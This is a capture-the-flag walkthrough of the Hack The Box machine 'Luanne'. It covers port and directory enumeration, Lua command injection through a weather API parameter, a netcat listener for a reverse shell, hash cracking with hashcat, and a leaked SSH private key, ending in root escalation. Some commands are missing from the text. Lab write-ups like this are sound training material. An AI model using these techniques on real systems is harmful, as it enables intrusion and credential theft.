-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon Jan 10 14:56:52 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.218
Warning: 10.10.10.218 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.218
Host is up (0.092s latency).
Not shown: 62097 filtered tcp ports (no-response), 3435 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9001/tcp open tor-orport
# Nmap done at Mon Jan 10 14:57:31 2022 -- 1 IP address (1 host up) scanned in 39.52 seconds
As we see, there are a few ports open.
Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Mon Jan 10 14:58:05 2022 as: nmap -sCV -p22,80,9001 -oN targeted 10.10.10.218
Nmap scan report for 10.10.10.218
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
|_http-server-header: nginx/1.19.0
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 10 15:01:26 2022 -- 1 IP address (1 host up) scanned in 201.17 seconds
Let's take a look at the website.
It asks for credentials. If we try some random usernames and passwords, we will get rejected. If you noticed, nmap detected one disallowed entry on the robots.txt file.
But if we take a look at the directory, we will see a 404 message.
At this point, I tried to list directories with gobuster.
gobuster dir -u http://10.10.10.218/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
dir enumerates directories or files.
-u the target URL.
-w path to the wordlist.
-t number of current threads, in this case 200 threads.
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.218/weather
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/02/02 15:34:38 Starting gobuster in directory enumeration mode
===============================================================
/forecast (Status: 200) [Size: 90]
===============================================================
2022/02/02 15:36:21 Finished
===============================================================
And we get the /forecast directory. Let's see what's in the directory.
Exploitation
It tells us to add the parameter city with the value list in order to list available cities.
http://10.10.10.218/weather/forecast?city=list
We get a bunch of cities. If we pass any city as the value of the parameter city, we'll see some random weather information.
http://10.10.10.218/weather/forecast?city=London
Let's add the ' character at the end of the value.
http://10.10.10.218/weather/forecast?city=London'
We get a Lua error. The idea is to get a shell by executing a command at a system level. If you do your own research on Lua, you'll see that you can execute commands with the os.execute("command") function.
Before anything, let's set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
In order to execute the command, we'll have to close the function with a parenthesis and a semicolon, and end the URL with -- , which comments out everything after the os.execute function.
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz, 2883/2947 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
Time.Started.....: Wed Feb 2 16:31:34 2022 (1 sec)
Time.Estimated...: Wed Feb 2 16:31:35 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4373 H/s (6.76ms) @ Accel:32 Loops:500 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3008/14344385 (0.02%)
Rejected.........: 0/3008 (0.00%)
Restore.Point....: 2944/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: kikay -> colton
Started: Wed Feb 2 16:31:32 2022
Stopped: Wed Feb 2 16:31:36 2022
And we get a password. If we authenticate at the login popup of the first website that we saw, we won't see much, but no worries, let's continue enumerating the machine by listing the system users.
At this point, I tried to enumerate the machine a bit more, but I couldn't find anything interesting, until I looked for the processes under the r.michaels user.
ps aux -w -U r.michaels
-wwide output.
-U select by user.
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
r.michaels 390 0.0 0.0 34996 1996 ? Is 9:03PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.mi
Enables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html.
So, as we can see, the process is hosting a website on the localhost on port 3001 with the directory /~r.michaels/, listing his home directory. Let's use curl to see what's in it.
curl http://127.0.0.1:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 211 100 211 0 0 103k 0 --:--:-- --:--:-- --:--:-- 103k
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
~r.michaels//: <pre>No authorization</pre>
<hr><address><a href="//127.0.0.1:3001/">127.0.0.1:3001</a></address>
</body></html>
We get a 401 Unauthorized message. Time to use our found credentials from before.
Enter host password for user 'webapi_user':iamthebest
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 849k 0 --:--:-- --:--:-- --:--:-- 849k
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh
0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+Qe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wXlzp9
9OGmTT9AggBQJhLiXlkoSMReS36EYkxEncYdWM7zmC2kkxPTSVWz94I87YvApj0vepuB7b
45bBkP5xOhrjMAAAAVci5taWNoYWVsc0BsdWFubmUuaHRiAQIDBAUG
-----END OPENSSH PRIVATE KEY-----
And we get a private key which allow us to login in with the r.michaels via ssh. Now, all we have to do is copy and paste that private key into a file in our own machine, give it the 600 permission, and log in with the r.michaels user via ssh. Then we could grab the user flag.
chmod 600 id_rsa
ssh r.michaels@10.10.10.218 -i id_rsa
Last login: Wed Feb 2 12:58:58 2022 from 10.10.14.18
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ whoami
r.michaels
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
If we take a look at the current directory, we'll see the backups folder, which contains an encrypted backup file.
ls -l backups/
total 4
-r-------- 1 r.michaels users 1970 Nov 24 2020 devel_backup-2020-09-16.tar.gz.enc
To extract it's content, let's move to the /tmp folder and use tar.
tar xzvf /tmp/devel_backup-2020-09-16.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd
We can see that inside the devel-2020-09-16/www/ directory, there is the same .htpasswd file as before, but with a different hash.
The r.michaels user has a process which runs the /usr/libexec/httpd command. If you search for that command on Google, you'll find it's , which explains that the -u option does the following:
To decrypt the backup file, we will have to use the command. The following command will decrypt the file with a key from the keyring and save the output into a file.
Great, we get a password. It's time to get a shell as root. To log in as root in a Linux machine we would use the sudo command, but as we are in NetBSD, we can't use sudo. But there is an equivalent, which is . Finally, all we have to do is spawn a shell as root with the following command, and reap the harvest and take the root flag.